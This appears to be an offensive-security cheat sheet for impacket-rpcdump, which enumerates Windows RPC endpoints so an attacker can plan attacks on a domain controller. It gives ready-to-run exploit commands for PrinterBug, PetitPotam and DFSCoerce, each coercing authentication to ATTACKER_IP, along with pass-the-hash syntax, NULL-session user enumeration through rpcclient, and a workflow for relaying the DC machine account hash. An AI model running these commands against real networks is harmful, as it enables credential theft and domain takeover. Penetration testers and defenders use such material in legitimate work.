> ## Documentation Index > Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt > Use this file to discover all available pages before exploring further. # impacket-rpcdump > Enumerate RPC endpoints and interfaces on Windows hosts. Identify exposed services like MS-RPRN (PrinterBug), MS-EFSRPC (PetitPotam), and MS-DFSNM (DFSCoerce). ## Overview `impacket-rpcdump` queries the RPC Endpoint Mapper (port 135) to enumerate all registered RPC interfaces and endpoints on a target. The output reveals which services are running and listening, which is valuable for attack planning. Works with NULL sessions by default since the RPC Endpoint Mapper is typically accessible without authentication. *** ## Basic Usage Dump all RPC endpoints: ```bash theme={"dark"} impacket-rpcdump 10.10.10.5 ``` With explicit port: ```bash theme={"dark"} impacket-rpcdump 10.10.10.5 -port 135 ``` Output includes protocol, endpoint, UUID, and interface name: ``` Protocol: [MS-RPRN]: Print System Remote Protocol Provider: spoolsv.exe UUID: 12345678-1234-ABCD-EF00-0123456789AB v1.0 Bindings: ncacn_ip_tcp:10.10.10.5[49668] ncacn_np:\\DC01[\pipe\spoolss] ``` *** ## Interesting Interfaces ### MS-RPRN (PrinterBug / SpoolService) UUID: `12345678-1234-ABCD-EF00-0123456789AB` If the Print Spooler service is running, the target is vulnerable to the PrinterBug (coerce authentication back to attacker). ```bash theme={"dark"} impacket-rpcdump 10.10.10.5 | grep -i "MS-RPRN\|spoolsv\|12345678-1234-ABCD" ``` Exploit with: ```bash theme={"dark"} # SpoolSample / PrinterBug python3 printerbug.py CORP/user:Password1@DC01 ATTACKER_IP # Or dementor.py python3 dementor.py -d corp.local -u user -p Password1 ATTACKER_IP DC01 ``` ### MS-EFSRPC (PetitPotam) UUID: `c681d488-d850-11d0-8c52-00c04fd90f7e` (lsarpc) UUID: `df1941c5-fe89-4e79-bf10-463657acf44d` (efsrpc) Encrypting File System Remote Protocol. Allows unauthenticated coercion on unpatched DCs. ```bash theme={"dark"} impacket-rpcdump 10.10.10.5 | grep -i "c681d488\|df1941c5\|EFSRPC\|efsr" ``` Exploit with: ```bash theme={"dark"} python3 PetitPotam.py ATTACKER_IP DC01 -d corp.local -u user -p Password1 ``` ### MS-DFSNM (DFSCoerce) UUID: `4fc742e0-4a10-11cf-8273-00aa004ae673` Distributed File System Namespace Management. Another coercion vector. ```bash theme={"dark"} impacket-rpcdump 10.10.10.5 | grep -i "4fc742e0\|DFSNM\|dfsr\|netdfs" ``` Exploit with: ```bash theme={"dark"} python3 DFSCoerce.py ATTACKER_IP DC01 -d corp.local -u user -p Password1 ``` ### Other Notable Interfaces | Interface | UUID Prefix | Significance | | --------- | -------------------------------------- | ------------------------------------- | | MS-SAMR | `12345778-1234-ABCD-EF00-0123456789AC` | SAM database access, user enumeration | | MS-LSAD | `12345778-1234-ABCD-EF00-0123456789AB` | LSA policy, domain trust info | | MS-DRSR | `e3514235-4b06-11d1-ab04-00c04fc2dcd2` | Directory Replication (DCSync) | | MS-SCMR | `367abb81-9844-35f1-ad32-98f038001003` | Service Control Manager (PsExec) | | MS-TSCH | `86d35949-83c9-4044-b424-db363231fd0c` | Task Scheduler (atexec) | | MS-WMI | `8bc3f05e-d86b-11d0-a075-00c04fb68820` | WMI (wmiexec) | *** ## Filter by Specific Port Show only endpoints bound to a specific port: ```bash theme={"dark"} impacket-rpcdump 10.10.10.5 | grep -A5 "49668" ``` Show only named pipe bindings: ```bash theme={"dark"} impacket-rpcdump 10.10.10.5 | grep "ncacn_np" ``` Show only TCP bindings: ```bash theme={"dark"} impacket-rpcdump 10.10.10.5 | grep "ncacn_ip_tcp" ``` *** ## Authentication Most of the time, rpcdump works without credentials (NULL session): ```bash theme={"dark"} impacket-rpcdump 10.10.10.5 ``` With credentials (if NULL session is blocked): ```bash theme={"dark"} impacket-rpcdump CORP/admin:Password1@10.10.10.5 ``` Pass-the-hash: ```bash theme={"dark"} impacket-rpcdump -hashes :aad3b435b51404eeaad3b435b51404ee administrator@10.10.10.5 ``` *** ## Using Output for Attack Planning Run rpcdump and check which attack paths are available: ```bash theme={"dark"} # Check for coercion attacks impacket-rpcdump 10.10.10.5 | grep -iE "MS-RPRN|MS-EFSRPC|MS-DFSNM|spoolsv|efsr|netdfs" # Check if DCSync is possible (MS-DRSR exposed) impacket-rpcdump 10.10.10.5 | grep -i "e3514235" # Check for WMI execution (wmiexec) impacket-rpcdump 10.10.10.5 | grep -i "8bc3f05e" # Check for Task Scheduler (atexec) impacket-rpcdump 10.10.10.5 | grep -i "86d35949" # Check for Service Manager (psexec/smbexec) impacket-rpcdump 10.10.10.5 | grep -i "367abb81" ``` Typical workflow: 1. Run rpcdump on the DC 2. Identify exposed coercion interfaces (RPRN, EFSRPC, DFSNM) 3. Set up ntlmrelayx or Responder 4. Trigger coercion to capture or relay the DC machine account hash *** ## Related: rpcclient Enumeration `rpcclient` (from Samba) complements rpcdump for deeper interaction: ```bash theme={"dark"} # Connect with NULL session rpcclient -U '' -N 10.10.10.5 # Enumerate domain users rpcclient $> enumdomusers # Enumerate domain groups rpcclient $> enumdomgroups # Get user info by RID rpcclient $> queryuser 0x1f4 # Get domain password policy rpcclient $> getdompwinfo ``` *** ## Quick Reference ```bash theme={"dark"} # Dump all endpoints (NULL session) impacket-rpcdump 10.10.10.5 # With credentials impacket-rpcdump CORP/admin:Password1@10.10.10.5 # Pass-the-hash impacket-rpcdump -hashes :NT_HASH administrator@10.10.10.5 # Check for PrinterBug impacket-rpcdump 10.10.10.5 | grep -i "MS-RPRN\|spoolsv" # Check for PetitPotam impacket-rpcdump 10.10.10.5 | grep -i "c681d488\|df1941c5\|EFSRPC" # Check for DFSCoerce impacket-rpcdump 10.10.10.5 | grep -i "4fc742e0\|DFSNM" # Check all coercion vectors at once impacket-rpcdump 10.10.10.5 | grep -iE "RPRN|EFSRPC|DFSNM|spoolsv|efsr|netdfs" # TCP bindings only impacket-rpcdump 10.10.10.5 | grep "ncacn_ip_tcp" # Named pipe bindings only impacket-rpcdump 10.10.10.5 | grep "ncacn_np" # Custom port impacket-rpcdump 10.10.10.5 -port 593 ``` | Flag | Description | | ------------ | ---------------------------------------------- | | `-port` | Target port (default: 135) | | `-hashes` | NTLM hash for pass-the-hash (`LM:NT` or `:NT`) | | `-target-ip` | Explicit target IP (when using hostname) |